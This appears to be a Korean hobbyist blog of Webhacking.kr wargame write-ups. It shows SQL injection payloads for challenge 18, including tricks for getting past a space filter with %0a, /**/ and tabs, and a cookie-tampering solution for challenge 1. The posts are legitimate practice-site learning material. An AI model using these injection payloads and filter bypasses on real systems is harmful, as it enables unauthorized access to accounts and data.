18번 문제 풀이 

 

 

 

이번 문제는 여러 가지 방식으로 풀 수 있다.

이미 id='guest' 로 고정되어 있기 때문에,

뒤에 no 값을 부정을 하고 or 를 적용하여 새롭게 admin 값을 적용할 수 있다.

혹은 

no 값 참으로 만들고, admin 값을 넣을 수 있다.

 

 

주석을 보면 admin's no = 2 임을 알 수 있다. 

고로 guest's no = 1 라고 추측할 수 있다.

 

1을 입력했을 때, "hi guest" 출력

 

 

 

select id from chall18 where id='guest' and no=$_GET[no]

 

1. 참 > or 를 사용하여 admin 승인

   no=2%0aor%0aid%3D%27admin%27   // 공백을 필터링하기 때문에 %20대신 %0a로 우회!

   no=2 or id='admin'

2. 거짓 > no를 부정하고 admin 승인 

  no=-1%0aor%0ano=2    // no=-1 or no=2

  no=-1%0aor%0a1%0alimit%0a1%2C1    // no=-1 or 1 limit 1,1  -> no 부정하고 항상 참인 결과를 만들어 limit 연산자를 사용하여 두번째 결과 값 출력하는 방법  

 

 

* 빈칸 우회 

' ' : ( ), /**/, %09, %0a, %0c, %0b, +

 

 

 내가 작성한 답!!

 

이것도 가능! 

 

첫번째 방법을 사용했다. 

 

limit 사용했을 때도 성공!

 

성공!

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 1번 풀기  (0) 2019.09.25
Webhacking.kr 리뉴얼 : 회원 가입  (0) 2019.09.25

 

 

 

1번. 쿠키 변조 문제! 

 

 

- view - source -

 

<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  if(!$_COOKIE['user_lv']){
    SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
    echo("<meta http-equiv=refresh content=0>");
  }
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

 

< 핵심 >

user_lv cookie 값이

6보다 크거나 같으면 cookie 값이 1이 되고,

5보다 크면 문제가 풀린다. 

 

 

 

 

 쿠키 변조를 하기 위해서 크롬에서 EditThisCookie 확장 프로그램을 설치해야 한다. 

 

https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=ko

 

EditThisCookie

EditThisCookie는 쿠키 관리자입니다. 이것을 이용하여 쿠키를 추가하고, 삭제하고, 편집하고, 찾고, 보호하거나 막을 수 있습니다!

chrome.google.com

 

 

설치가 끝나면,

우측 상단에 쿠키 아이콘이 보이는데..

이 쿠키를 누르면 쿠기의 이름과 값에 대한 정보를 알 수 있다.

물론, 변조도 가능하다!  

 

 

 

다시 문제로 돌아가서! 

 

아까 view-source 핵심 코드만 다시 보면 

 

<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>

 

5 < user_lv cookie 값 < 6 정도로 쿠키 값을 변조하면 해결될 것 같은 느낌이다! 

 

 

해보자!

 

쿠키 값을 5.1로 변경하고, 초록 V 버튼을 누른다.

 

F5로 창을 새로고침한다. 

 

 

성공했다는 알림이 함께 뜬다! 

 

 

오예! 

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 18번 풀기  (0) 2019.11.13
Webhacking.kr 리뉴얼 : 회원 가입  (0) 2019.09.25

 

이번에 Webhacking.kr 페이지가 리뉴얼 되었따아!!! 

 

이제 막 웹 공부를 시작하려던 참에 새단장이라니...  

공부할 맛 나겠당 히히 :) 

 

 

 

- 회원 가입-

 

 

 

 

Login/Joing 페이지에서 간단한 회원 가입 절차를 거치면 

 

귀여운 알람과 함께 회원 가입에 성공한다!

 

이제... 

문제를 풀 수 있다! 

 

 

그치만 ... 

 

 

 

 

challenge 파트는 아직 준비 중인 것 같다.

 

challenge(old) 부터 풀어야지 

 

ㅎㅇㅌ! 

 

:)

 

 

p.s. 웹 해킹 자체가 처음인지라... 시간이 꽤 걸릴 듯 하다... ㅠ 그래도 꾸준히 해야지! 

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 18번 풀기  (0) 2019.11.13
Webhacking.kr : challenge(old) 1번 풀기  (0) 2019.09.25

+ Recent posts